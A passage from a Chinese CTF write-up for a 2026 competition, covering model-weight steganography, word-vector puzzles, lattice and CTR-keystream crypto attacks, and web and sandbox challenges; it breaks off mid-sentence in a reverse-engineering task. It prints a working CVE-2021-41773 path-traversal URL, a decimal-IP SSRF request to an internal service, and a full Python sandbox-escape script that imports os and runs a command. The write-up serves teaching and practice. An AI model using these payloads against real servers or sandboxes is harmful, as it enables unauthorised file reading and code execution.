2026数字中国创新大赛数字安全赛道暨三明市第六届”红明谷”杯大赛WP

admin 2026-04-04 06:06:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是2026数字中国创新大赛数字安全赛道CTF比赛的详细题解,涵盖4道Misc题目的完整解题过程:Stream-Capture通过UDP流重组提取H.264视频获取flag,Model-Entropy利用模型权重LSB隐写与已知明文攻击解密,DataVault_V3组合Apache路径穿越、SSRF绕过与CTR密钥流重用攻击完成解密,safepy实现Python沙箱逃逸。文章展示了流量分析、AI安全、Web漏洞利用、密码学攻击等多种技术的综合应用,提供完整攻击脚本与详细思路。 综合评分: 88 文章分类: CTF,WEB安全,AI安全,漏洞分析,逆向分析


在解码后视频的约第300帧左上角可见明文:

Model-Entropy

题目内容:

这是一个看似常规的开源情感分析模型,其核心逻辑与加载过程均能通过初步的安全性审查。然而,审计人员在评估其权重分布时发现,本应承载海量语义特征的Embedding层在参数规模上存在显著的异常缩减。请针对该模型文件剖析其内部存在的隐蔽信息。

题目目录如下:

  • sentiment_analysis.ipynb
  • sentiment_model.npz

本题的关键不是去跑模型做分类,而是去判断模型是否真的是一个正常可用的模型

排查顺序如下:

  1. 确认权重格式
  2. 阅读 notebook,核对模型结构和加载逻辑
  3. 直接检查npz内部数组名、形状、数值范围
  4. 验证模型是否真的具备 notebook 中描述的效果
  5. 对异常层的底层二进制表示做隐写提取
  6. 还原密文并继续解码,得到最终flag

打开sentiment_analysis.ipynb后,可以看到模型并不是真正的 NLP Embedding 模型,而是一个非常简单的两层 MLP:

def forward(X, p):    h = relu(X @ p['embedding_layer'] + p['hidden_bias'])    return softmax(h @ p['output_layer'] + p['output_bias'])

模型结构是:

Input(18) -> Dense(20, ReLU) -> Dense(2, Softmax)

也就是说,所谓的embedding_layer其实只是一个18×20的全连接权重矩阵,并不是真正意义上的词向量 Embedding

直接读取模型参数:

import numpy as npwith np.load("sentiment_model.npz") as data:    for k in data.files:        arr = data[k]        print(k, arr.shape, arr.dtype)

输出为:

embedding_layer (18, 20) float32hidden_bias (20,) float32output_layer (20, 2) float32output_bias (2,) float32

这里最异常的地方是:

embedding_layer只有18 x 20 = 360个float32

对于题目描述中的“应承载海量语义特征的 Embedding 层”来说,这个规模小得不正常

这说明:模型描述存在伪装或者这一层很可能被拿来充当隐写载体

题目 notebook 声称模型在合成数据上能达到约92%准确率,但按原 notebook 的逻辑重新跑一遍后,实际准确率只有0.49125

换句话说,sentiment_model.npz的主要用途不是推理,而是藏信息

因为 npz 容器本身结构正常,没有额外文件、注释、尾部垃圾数据,所以隐藏信息大概率埋在浮点参数本身的二进制位里。

对于 float32,最自然的隐写方式就是:

  • 取最低有效位 LSB
  • 取若干低位拼接成字节流

而embedding_layer 一共有360个float32,如果每个数取1个最低位,那么总共就是:360 bit = 45 byte

提取脚本如下:

import&nbsp;numpy&nbsp;as&nbsp;nparr = np.load("sentiment_model.npz")["embedding_layer"]u = arr.view(np.uint32).ravel()bits = [(x &&nbsp;1)&nbsp;for&nbsp;x&nbsp;in&nbsp;u]ct =&nbsp;bytes(&nbsp; &nbsp;&nbsp;sum(bits[i + j] << j&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8))&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;len(bits) //&nbsp;8&nbsp;*&nbsp;8,&nbsp;8))print(ct)print(ct.rstrip(b"\x00"))

得到的 45 字节内容去掉结尾零填充后为:

!$.4/~*-faqv~7&q{~`uyx~mtq|~a!)fav{7b"5

由于flag以”flag{“开头,可以利用已知明文攻击

ct =&nbsp;b'!$.4/~*-fa\x7fqv~7&q{~`uyx~mtq|~a!\x7f)fav\x7f{7b\"5'pt =&nbsp;b'flag{'key =&nbsp;bytes([ct[i] ^ pt[i]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(pt))])print(key)

得到密钥:GHOST

可以看出这是一个长度为5的循环异或密钥

完整解密脚本如下:

import&nbsp;numpy&nbsp;as&nbsp;nparr = np.load("sentiment_model.npz")["embedding_layer"]u = arr.view(np.uint32).ravel()bits = [(x &&nbsp;1)&nbsp;for&nbsp;x&nbsp;in&nbsp;u]ct =&nbsp;bytes(&nbsp; &nbsp;&nbsp;sum(bits[i + j] << j&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8))&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;len(bits) //&nbsp;8&nbsp;*&nbsp;8,&nbsp;8)).rstrip(b"\x00")key =&nbsp;b"GHOST"pt =&nbsp;bytes(c ^ key[i %&nbsp;len(key)]&nbsp;for&nbsp;i, c&nbsp;in&nbsp;enumerate(ct))print("cipher =", ct)print("key &nbsp; &nbsp;=", key)print("plain &nbsp;=", pt.decode())

输出:

cipher&nbsp;= b'!$.4/~*-fa\x7fqv~7&q{~`uyx~mtq|~a!\x7f)fav\x7f{7b"5'key&nbsp; &nbsp; = b'GHOST'plain&nbsp; = flag{XXXXXXXXXXXXXXXXXXXXX}

DataVault_V3

题目内容:

欢迎来到 DataVault V3 —— 采用高级信封加密的下一代企业云端数据保险箱。我们吸取了历史教训,在最新的V3企业版中引入了Apache网关反向代理,并升级了基于Python的高级URL白名单过滤机制。旧版本系统已被标记为‘安全销毁’。然而,传闻中那把本该随数据一同消亡的‘幽灵密钥’,似乎仍潜伏在底层内网的某个角落。你能穿透重重防御,让幽灵密钥现身,并取回被封印的数据吗?

本题的攻击链由四个核心环节组成,涉及 Web 漏洞利用与密码学攻击的结合:

  1. Apache 路径穿越 (CVE-2021-41773):利用配置不当的 Apache 代理读取系统文件与配置文件
  2. 隐藏接口发现:通过信息收集获取包含加密数据的快照
  3. SSRF绕过与内网探测:利用十进制 IP 绕过 Python URL 白名单,访问内网 KMS 服务
  4. 密码学攻击 (CTR密钥流重用):利用KMS固定的 CTR 密钥流,通过选择明文攻击(全零DEK)获取Keystream,进而异或恢复原始密钥并解密 AES-GCM 数据。

路径穿越与信息收集

访问目标服务 http://xx.xx.xx.xx:1234/,页面提示使用了 Apache 防火墙和 Python 过滤机制。由于题目明确提到 Apache 网关,且版本可能存在已知漏洞,我们首先尝试 Apache 2.4.49 的经典路径穿越漏洞(CVE-2021-41773)

通过构造特殊的 URL 路径 /assets/.%2e/.%2e/.%2e/.%2e/,我们成功读取了 /etc/passwd 文件

随后,我们利用该漏洞读取了Apache的配置文件 /usr/local/apache2/conf/httpd.conf,发现了关键的反向代理配置:

Alias&nbsp;/assets/&nbsp;"/usr/local/apache2/htdocs/"ProxyPass&nbsp;/assets/&nbsp;!ProxyPass&nbsp;/&nbsp;http://127.0.0.1:8080/

这表明所有非/assets/的请求都被代理到了本地的8080端口,即后端的 Python 应用。

获取加密快照

在对后端 Python 应用的路由进行探测时,我们发现了一个隐藏的 API 接口/api/v1/backup/snapshot。访问该接口,我们获取到了被封印的数据快照:

curl -s http://xx.xx.xx.xx:1234/api/v1/backup/snapshot

返回的 JSON 数据如下:

| | | | | — | — | — | | 字段 | 值 | 说明 | | enc_data | 7e172f82011d7f238e544f16d160fccbdc4c2f39026cac98c1ea38337d2bbbbfd99b14e1fbcc0f7e97b7 | AES-GCM 加密后的数据 | | enc_dek | a41b57d6ca0ee2f72e2ce59cc7226f42558a0d7eec2b7ef9c9da9a83c506a5e5 | 被 KMS 加密的 DEK (Data Encryption Key) | | nonce | 8c3afb9382a576c5745b19d16b3e94e1 | AES-GCM 使用的 Nonce | | tag | d80814d3d69d9e7b0f4d9747fcf8004f | AES-GCM 的认证标签 | | kms_backend_log | DEK encrypted via internal legacy API: /api/v1/import_dek | 提示了内网 KMS 的加密接口 |

SSRF绕过获取Keystream

根据快照中的日志提示,内网存在一个 KMS 服务,接口为 /api/v1/import_dek。同时,主应用存在一个 /health_check?url= 接口,但该接口配置了“高级 URL 白名单过滤机制”,直接传入 127.0.0.1 会被拦截。

为了绕过基于字符串的 IP 过滤,我们采用十进制 IP 转换技巧。将 127.0.0.1 转换为十进制格式 2130706433。

KMS 服务的加密逻辑存在严重缺陷:它使用了固定的 CTR 密钥流 (Keystream)。在流密码中,密文等于明文异或密钥流(C=P⊕K)。如果我们控制明文为全零(P=0),那么密文就直接等于密钥流(C=0⊕K=K)。

因此,我们构造 SSRF 请求,向内网 KMS 传入 32 字节(64 个十六进制字符)的全零DEK:

curl&nbsp;"http://xx.xx.xx.xx:1234/health_check?url=http://2130706433:5000/api/v1/import_dek?dek=0000000000000000000000000000000000000000000000000000000000000000"

服务器返回了嵌套的 JSON 响应,从中提取出纯 Keystream:

bdf4b7e517efb9999eb67365558ebc1c74743dee3dbec99901153af744c0c00b

恢复幽灵密钥与解密数据

掌握了固定的 Keystream 后,我们可以利用异或运算的自反性恢复原始的 DEK(幽灵密钥):

old_dek=enc_dek⊕Keystream

计算过程:

enc_dek &nbsp; = a41b57d6ca0ee2f72e2ce59cc7226f42558a0d7eec2b7ef9c9da9a83c506a5e5Keystream = bdf4b7e517efb9999eb67365558ebc1c74743dee3dbec99901153af744c0c00b------------------------------------------------------------------------old_dek &nbsp; = 19efe033dde15b6eb09a96f992acd35e21fe3090d195b760c8cfa07481c665ee

最后,使用恢复出的 old_dek 作为密钥,结合快照中的 nonce 和 tag,对 enc_data 执行 AES-GCM 解密。

编写 Python 脚本完成最终解密:

from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AES
old_dek =&nbsp;bytes.fromhex("19efe033dde15b6eb09a96f992acd35e21fe3090d195b760c8cfa07481c665ee")nonce =&nbsp;bytes.fromhex("8c3afb9382a576c5745b19d16b3e94e1")tag =&nbsp;bytes.fromhex("d80814d3d69d9e7b0f4d9747fcf8004f")enc_data =&nbsp;bytes.fromhex("7e172f82011d7f238e544f16d160fccbdc4c2f39026cac98c1ea38337d2bbbbfd99b14e1fbcc0f7e97b7")
cipher = AES.new(old_dek, AES.MODE_GCM, nonce=nonce)plaintext = cipher.decrypt_and_verify(enc_data, tag)print(plaintext.decode())

safepy

题目内容:

This is PY-LeetCode!

这题核心是一个只能看布尔结果的沙箱逃逸题,利用流程分四段:

  1. 编译期伪装,绕过静态黑名单
  2. 运行期把伪装字段还原成双下划线元类链
  3. 拿到可load_module的类后导入os,执行/readflag
  4. 不直接回显,用Success/Failure做布尔预言机,二分恢复完整flag

黑名单在源码字符串阶段生效

直接写 __class__、__subclasses__、import os 等会被拦,通常是 Exception,但把危险属性名先写成占位符(如TAGclassTAG)可以过编译

运行期可操作协程代码对象

这题允许访问:

  • co_obj.cr_frame.f_code.co_names
  • code.replace(…)

所以可以在运行时把 co_names 里的 TAG 替换成 __,恢复真实属性访问链:

().__class__.__base__.__subclasses__()

用异常参数把结果带出来

执行恢复后的协程时,会通过异常路径拿到subclasses()结果(类列表),再遍历寻找支持load_module的类,动态导入os

布尔侧信道提取flag

拿到txt = os.popen(‘/readflag|tr -d “\n”‘).read()后,不直接返回文本,而是把条件表达式塞进判题返回:

  • 条件为真:返回一个能判 Success 的表达式
  • 条件为假:返回一个能判 Failure 的表达式

然后对len(txt)、ord(txt[i])做二分即可盲注恢复

核心利用脚本

def&nbsp;isPalindrome(x):&nbsp; &nbsp; u="_"&nbsp; &nbsp; us=u+u&nbsp; &nbsp;&nbsp;async&nbsp;def&nbsp;probe():&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;().TAGclassTAG.TAGbaseTAG.TAGsubclassesTAG()&nbsp; &nbsp; co_obj=probe()&nbsp; &nbsp; names=[]&nbsp; &nbsp;&nbsp;for&nbsp;item&nbsp;in&nbsp;co_obj.cr_frame.f_code.co_names:&nbsp; &nbsp; &nbsp; &nbsp; names.append(item.replace("TAG", us))&nbsp; &nbsp; mutated=co_obj.cr_frame.f_code.replace(co_names=tuple(names))&nbsp; &nbsp; g=function(mutated,{})()&nbsp; &nbsp; found=[]&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; g.send(None)&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;ex:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(ex.args):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found=ex.args[0]&nbsp; &nbsp; mod=None&nbsp; &nbsp;&nbsp;for&nbsp;cls&nbsp;in&nbsp;found:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mod=cls.load_module("os")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp; &nbsp;&nbsp;if&nbsp;mod&nbsp;is&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp; bit=False&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; txt=mod.popen('/readflag|tr -d "\\n"').read()&nbsp; &nbsp; &nbsp; &nbsp; bit=({COND})&nbsp; &nbsp;&nbsp;if&nbsp;bit:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;x==x[::-1]&nbsp; &nbsp;&nbsp;return&nbsp;x!=x[::-1]

Lost-Signal

题目内容:

监听站拦截到一段来自深空的损毁电波signal.txt。据调查,该信号由早期AI探针发出,其内部逻辑完全基于glove-twitter-25词向量矩阵 。信号中隐藏了一组语义偏移指令,只有通过向量空间运算还原出缺失的关键节点,才能拼凑出解开archive.zip的密钥。

题目核心在signal.txt。文件表面上是故障日志,实际混入了多组语义类比关系,提示需要用词向量做 analogy 运算。

日志中的关键关系如下:

  • man is to king, ? is to queen
  • paris is to france, ? is to italy
  • bad is to worst, ? is to best
  • small is to tiny, ? is to massive
  • cat is to kitten, ? is to puppy
  • winter is to cold, ? is to hot

其中还出现了二进制:

01001011&nbsp;01100101&nbsp;01111001

转成 ASCII 后为Key,进一步说明最终目标是还原压缩包密钥。

处理过程

  1. 下载并加载GloVe-twitter-25词向量
  2. 编写脚本,对signal.txt中的类比关系做向量运算
  3. 修正脚本逻辑后,按标准analogy公式:D = B – A + C

也就是

king -&nbsp;man&nbsp;+ queenfrance - paris + italyworst - bad + besttiny - small + massivekitten -&nbsp;cat&nbsp;+ puppycold - winter + hot

将每组结果按顺序拼接,作为压缩包候选密码,得到:

  • sobrazilcooldealdogfashion
  • hunterswedenawesomehugecorgifat

使用第一组密码成功解压压缩包,txt文件的内容为最终flag

Coordinates

题目内容:

实验室捕获了一个异常的ResNet50模型权重文件。据可靠情报,敌方特工将机密信息藏在了这些看似随机的神经元参数中。

我们的数据分析师在初步扫描后,在茫茫的浮点数海洋里发现了一个出现频率异常的“常数”。或许,这个常数就是解开坐标系统的钥匙?

这题不是常规模型推理题,而是参数隐写题,核心路线:

  1. 解析 .pth 文件结构,找到真实浮点存储区
  2. 做全局浮点频次统计,定位异常高频常数
  3. 将该常数出现位置当作离散坐标点
  4. 按固定步长建立二进制位图(命中=1,未命中=0)
  5. 调整bit offset 后按字节解码,得到flag

文件结构确认

secret.pth 是 PyTorch 的 zip 序列化格式,不是纯 pickle

可通过 zipfile 查看内部条目:

  • secret/data.pkl
  • secret/data/0
  • secret/version
  • secret/byteorder

其中:

  • secret/data/0:大块连续权重数据(float32)
  • secret/data.pkl:张量元数据(形状、偏移等)

定位异常常数

对data/0按float32 little-endian读取,并统计出现次数,结果显示:

  • 0.5201314091682434 出现 145 次
  • 其他高频值通常只有10~12次

因此把 0.5201314091682434 作为隐写 marker。

观察marker坐标规律

取出所有 marker 的全局索引(在浮点数组中的位置),发现:

  • 命中总数 145
  • 其中 143 个索引是 100 的整数倍
  • 且集中在 600 ~ 30800

这非常像在一条离散坐标轴上放置比特位:

  • 某坐标有 marker -> 1
  • 无 marker -> 0

位流还原

按 n*100(n=0..308)扫描,构建比特串:

  • 若n*100在命中集合中:bit=1
  • 否则:bit=0

随后进行字节对齐爆破,命中参数为:

  • offset = 5
  • bit order = MSB

解码后直接得到flag:

flag{XXXXXXXXXXXXXXXXXX}

Crypto

LCG-LHNP

题目内容:

小明在学习密码学的时候发现LCG随机数发生算法的生成公式和LHNP问题很像…他尝试用sage来模拟一下这两个东西

题目给了一个 enc.sage,核心逻辑如下:

  1. 用seed = bytes_to_long(b”Seed” + os.urandom(32))初始化 random.Random(seed)
  2. 用这个生成器生成一个1024-bit素数p,以及后续30个1024-bit素数 r_i
  3. 取未知1024-bit素数 x(且x<p),并构造c_i = (r_i * x + e_i) mod p,其中e_i是随机888-bit素数
  4. 额外把seed丢进一个LCG,泄露了连续10个状态seeds
  5. 输出cs、seeds、enc = flag ^^ x

目标是恢复 x,进而flag = enc ^^ x

由 seeds 反推 LCG 参数和初始 seed

题目里的 LCG 形式:

s_{i+1} = (a * s_i + b) mod n

已知连续输出 s_1 … s_10(脚本里叫 seeds),可用经典做法恢复 n:

  • 令d_i = s_{i+1} – s_i
  • 构造u_i = d_{i+2} * d_i – d_{i+1}^2
  • 则n会整除所有u_i,通常 gcd(u_i) 就是n(或其倍数,本题直接命中)

得到 n 后:

a&nbsp;= (s3 - s2) * (s2 - s1)^(-1) mod nb&nbsp;= s2 - a*s1 mod nseed0&nbsp;= (s1 - b) * a^(-1) mod n

这里的 seed0 就是最开始传给 random.Random(seed) 的那个 seed

重放 Python PRNG,恢复 p 与全部 r_i

因为 random.Random 是确定性的,只要 seed 一样,调用序列一样,输出就完全一样

题目先后调用了:

  1. p = get_prime(1024, genertor=genertor)
  2. 在构造 cs 时循环 30 次,每次先 r = get_prime(1024, genertor=genertor)

所以拿到 seed0后,按同样的get_prime逻辑重放,就能拿到真实的p和30个 r_i

至此,c_i = (r_i*x + e_i) mod p 里只剩 x 和 e_i 未知

把 LHNP 转成 CVP(最近向量)并格攻击

我们有:

c_i&nbsp;= r_i * x + e_i - k_i * p

其中 k_i 是某个整数,且 e_i 是 888-bit 素数,所以:

2^887&nbsp;<= e_i <&nbsp;2^888

把式子改写成向量形式:

c&nbsp;= x * r - p * k + e
  • c = (c_1, …, c_m)
  • r = (r_1, …, r_m)
  • k = (k_1, …, k_m)
  • e是每维都很小(相对 p)的误差向量,约 888 bit
  • m = 30

于是 c 到由列向量 {r, -p*e_1, …, -p*e_m} 生成的格点集合的距离很小(差值就是 e)

注意:

  1. 构造M(30 x 31):

  2. 第一列是 r

  3. 后30列是对角线上 -p 的基向量列

  4. 对M做HNF,得到同格的方阵基H(30 x 30)。

  5. 转为行基后做LLL降维。

  6. 用Babai nearest plane找目标向量c的最近格点 v。

  7. 利用同余v_i ≡ r_i*x (mod p) 求候选x并校验e_i范围。

  8. 对Babai系数做一个很小范围本地扰动(±1),可修正近似误差。

本题在这一步可稳定恢复 x。

完整脚本

import&nbsp;reimport&nbsp;astimport&nbsp;mathimport&nbsp;randomfrom&nbsp;collections&nbsp;import&nbsp;Counterfrom&nbsp;functools&nbsp;import&nbsp;reducefrom&nbsp;pathlib&nbsp;import&nbsp;Path
from&nbsp;Crypto.Util.number&nbsp;import&nbsp;isPrime, long_to_bytesfrom&nbsp;sympy&nbsp;import&nbsp;Matrixfrom&nbsp;sympy.matrices.normalforms&nbsp;import&nbsp;hermite_normal_formfrom&nbsp;mpmath&nbsp;import&nbsp;mp
mp.dps =&nbsp;260

def&nbsp;get_prime(key_size, gen=None):&nbsp; &nbsp; lo =&nbsp;1&nbsp;<< (key_size -&nbsp;1)&nbsp; &nbsp; hi =&nbsp;1&nbsp;<< key_size&nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; num = gen.randrange(lo, hi)&nbsp;if&nbsp;gen&nbsp;is&nbsp;not&nbsp;None&nbsp;else&nbsp;random.randrange(lo, hi)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;isPrime(num):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;num

def&nbsp;babai_closest_vector_row(B_rows, t):&nbsp; &nbsp; n =&nbsp;len(B_rows)&nbsp; &nbsp; m =&nbsp;len(B_rows[0])&nbsp; &nbsp; B = [[mp.mpf(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;row]&nbsp;for&nbsp;row&nbsp;in&nbsp;B_rows]
&nbsp; &nbsp; bstar = [[mp.mpf("0")] * m&nbsp;for&nbsp;_&nbsp;in&nbsp;range(n)]&nbsp; &nbsp; norm = [mp.mpf("0")] * n
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(n):&nbsp; &nbsp; &nbsp; &nbsp; v = B[i][:]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(i):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;norm[j] ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mu =&nbsp;sum(B[i][k] * bstar[j][k]&nbsp;for&nbsp;k&nbsp;in&nbsp;range(m)) / norm[j]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;mu:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;k&nbsp;in&nbsp;range(m):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v[k] -= mu * bstar[j][k]&nbsp; &nbsp; &nbsp; &nbsp; bstar[i] = v&nbsp; &nbsp; &nbsp; &nbsp; norm[i] =&nbsp;sum(v[k] * v[k]&nbsp;for&nbsp;k&nbsp;in&nbsp;range(m))
&nbsp; &nbsp; y = [mp.mpf(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;t]&nbsp; &nbsp; coeff = [0] * n&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(n -&nbsp;1, -1, -1):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;norm[i] ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = mp.mpf("0")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c =&nbsp;sum(y[k] * bstar[i][k]&nbsp;for&nbsp;k&nbsp;in&nbsp;range(m)) / norm[i]&nbsp; &nbsp; &nbsp; &nbsp; kint =&nbsp;int(mp.nint(c))&nbsp; &nbsp; &nbsp; &nbsp; coeff[i] = kint&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(m):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; y[j] -= kint * B[i][j]
&nbsp; &nbsp; v = [int(mp.nint(mp.mpf(t[j]) - y[j]))&nbsp;for&nbsp;j&nbsp;in&nbsp;range(m)]&nbsp; &nbsp;&nbsp;return&nbsp;coeff, v

def&nbsp;parse_challenge():&nbsp; &nbsp; text = Path("enc.sage").read_text(encoding="utf-8")&nbsp; &nbsp; block = re.findall(r"'''(.*?)'''", text, re.S)[0]&nbsp; &nbsp; cs = ast.literal_eval(re.search(r"cs =\\s*(\\[.*?\\])\\s*seeds =", block, re.S).group(1))&nbsp; &nbsp; seeds = ast.literal_eval(re.search(r"seeds =\\s*(\\[.*?\\])\\s*enc =", block, re.S).group(1))&nbsp; &nbsp; enc =&nbsp;int(re.search(r"enc =\\s*(\\d+)", block).group(1))&nbsp; &nbsp;&nbsp;return&nbsp;cs, seeds, enc

def&nbsp;recover_lcg_seed(seeds):&nbsp; &nbsp; d = [seeds[i +&nbsp;1] - seeds[i]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(seeds) -&nbsp;1)]&nbsp; &nbsp; vals = [abs(d[i +&nbsp;2] * d[i] - d[i +&nbsp;1] * d[i +&nbsp;1])&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(d) -&nbsp;2)]&nbsp; &nbsp; n = reduce(math.gcd, vals)
&nbsp; &nbsp; a = ((seeds[2] - seeds[1]) *&nbsp;pow((seeds[1] - seeds[0]) % n, -1, n)) % n&nbsp; &nbsp; b = (seeds[1] - a * seeds[0]) % n&nbsp; &nbsp; seed0 = ((seeds[0] - b) *&nbsp;pow(a, -1, n)) % n
&nbsp; &nbsp;&nbsp;assert&nbsp;all((a * seeds[i] + b) % n == seeds[i +&nbsp;1]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(seeds) -&nbsp;1))&nbsp; &nbsp;&nbsp;return&nbsp;n, a, b, seed0

def&nbsp;recover_p_rs(seed0, m):&nbsp; &nbsp; rng = random.Random(seed0)&nbsp; &nbsp; p = get_prime(1024, gen=rng)&nbsp; &nbsp; rs = [get_prime(1024, gen=rng)&nbsp;for&nbsp;_&nbsp;in&nbsp;range(m)]&nbsp; &nbsp;&nbsp;return&nbsp;p, rs

def&nbsp;solve_hnp(cs, p, rs):&nbsp; &nbsp; m =&nbsp;len(cs)&nbsp; &nbsp; L =&nbsp;1&nbsp;<<&nbsp;887&nbsp; &nbsp; U =&nbsp;1&nbsp;<<&nbsp;888
&nbsp; &nbsp; cols = [rs]&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(m):&nbsp; &nbsp; &nbsp; &nbsp; col = [0] * m&nbsp; &nbsp; &nbsp; &nbsp; col[i] = -p&nbsp; &nbsp; &nbsp; &nbsp; cols.append(col)&nbsp; &nbsp; M = Matrix.hstack(*[Matrix(c)&nbsp;for&nbsp;c&nbsp;in&nbsp;cols])
&nbsp; &nbsp; H = hermite_normal_form(M)&nbsp;&nbsp; &nbsp; R = H.T &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; Rred = R.lll()
&nbsp; &nbsp; coeff, v = babai_closest_vector_row([list(map(int, row))&nbsp;for&nbsp;row&nbsp;in&nbsp;Rred.tolist()], cs)
&nbsp; &nbsp;&nbsp;def&nbsp;check_x(x):&nbsp; &nbsp; &nbsp; &nbsp; es = [(cs[i] - (rs[i] * x) % p) % p&nbsp;for&nbsp;i&nbsp;in&nbsp;range(m)]&nbsp; &nbsp; &nbsp; &nbsp; ok =&nbsp;all(L <= e < U&nbsp;for&nbsp;e&nbsp;in&nbsp;es)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ok, es

&nbsp; &nbsp; candidates = [(v[i] *&nbsp;pow(rs[i], -1, p)) % p&nbsp;for&nbsp;i&nbsp;in&nbsp;range(m)]&nbsp; &nbsp; x, _ = Counter(candidates).most_common(1)[0]&nbsp; &nbsp; ok, es = check_x(x)&nbsp; &nbsp;&nbsp;if&nbsp;ok:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;x, es
&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; basis_rows = [list(map(int, row))&nbsp;for&nbsp;row&nbsp;in&nbsp;Rred.tolist()]&nbsp; &nbsp;&nbsp;import&nbsp;itertools
&nbsp; &nbsp; idx =&nbsp;list(range(max(0, m -&nbsp;8), m))&nbsp; &nbsp;&nbsp;for&nbsp;deltas&nbsp;in&nbsp;itertools.product([-1,&nbsp;0,&nbsp;1], repeat=len(idx)):&nbsp; &nbsp; &nbsp; &nbsp; cc = coeff[:]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j, dv&nbsp;in&nbsp;zip(idx, deltas):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cc[j] += dv&nbsp; &nbsp; &nbsp; &nbsp; vv = [0] * m&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;ci, row&nbsp;in&nbsp;zip(cc, basis_rows):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;ci ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;k&nbsp;in&nbsp;range(m):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vv[k] += ci * row[k]&nbsp; &nbsp; &nbsp; &nbsp; x_try = (vv[0] *&nbsp;pow(rs[0], -1, p)) % p&nbsp; &nbsp; &nbsp; &nbsp; ok2, es2 = check_x(x_try)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;ok2:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;x_try, es2
&nbsp; &nbsp;&nbsp;raise&nbsp;ValueError("failed to recover x")

def&nbsp;main():&nbsp; &nbsp; cs, seeds, enc = parse_challenge()&nbsp; &nbsp; _, _, _, seed0 = recover_lcg_seed(seeds)&nbsp; &nbsp; p, rs = recover_p_rs(seed0,&nbsp;len(cs))&nbsp; &nbsp; x, _ = solve_hnp(cs, p, rs)&nbsp; &nbsp; flag = long_to_bytes(enc ^ x)&nbsp; &nbsp;&nbsp;print(flag.decode())

if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

Reverse

ezSM4

题目内容:

小明拿到了一个小程序,看起来真的很像SM4,但是他上网上找脚本发现解不开,你能帮他看看吗?

解题思路:

1.先看字符

直接查看程序字符串,可以很快看到几个关键字:

  • Wrong length.
  • Wrong Answer.
  • Correct.
  • format: flag{xxx}, xxx is your input.
  • 12345678abcdefgh
  • RTTI里还能看到 SM4 相关类名

这基本说明:

